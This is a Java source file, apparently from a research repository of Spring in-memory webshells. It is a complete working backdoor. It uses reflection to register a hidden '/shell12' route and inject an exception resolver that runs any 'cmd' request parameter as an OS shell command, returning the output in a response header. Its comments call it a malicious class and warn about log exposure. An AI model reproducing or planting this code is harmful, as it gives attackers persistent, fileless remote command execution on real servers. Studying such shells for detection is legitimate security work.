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No12_HandlerExceptionResolverShell.java
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69 lines (61 loc) · 3.79 KB
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package com.example.springshell.memshell;
import com.example.springshell.Index;
import com.example.springshell.utils.Util;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerExceptionResolver;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Map;
import java.util.Scanner;
// 此内存马命令执行一次控制台就会至少报错两次，其中一次会直接暴露此恶意类名称，慎用
// 实际业务中可能不会报错，不报错则注入则无法使用
public class No12_HandlerExceptionResolverShell implements HandlerExceptionResolver {
public static String injectShell() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);
Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");
Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");
field.setAccessible(true);
// 因为 put 的对象没实现 Controller 接口，所以没有默认的 Adapter 可以处理，导致报错 No adapter for handler ，最后进入处理报错的分支处理 HandlerExceptionResolver
Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);
handlerMap.put("/shell12",new Index());
DispatcherServlet servlet = new Util().getServlet();
List<HandlerExceptionResolver> handlerExceptionResolvers = (List<HandlerExceptionResolver>) Util.getFieldValue(servlet,"handlerExceptionResolvers");
handlerExceptionResolvers.add(0,new No12_HandlerExceptionResolverShell());
// for (HandlerExceptionResolver handlerExceptionResolver : handlerExceptionResolvers) {
// System.out.println(handlerExceptionResolver);
// }
return "{\"result\":\"No12_HandlerExceptionResolverShell\"}";
}
@Override
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {
String cmd = request.getParameter("cmd");
if (cmd!=null && !cmd.isEmpty()){
try {
boolean islinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
islinux = false;
}
String[] cmds = islinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = null;
in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// response.setHeader("Exec-result",new String(Base64.getEncoder().encode(output.getBytes())));
response.setHeader("Exec-result", new String(output));
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return null;
}
}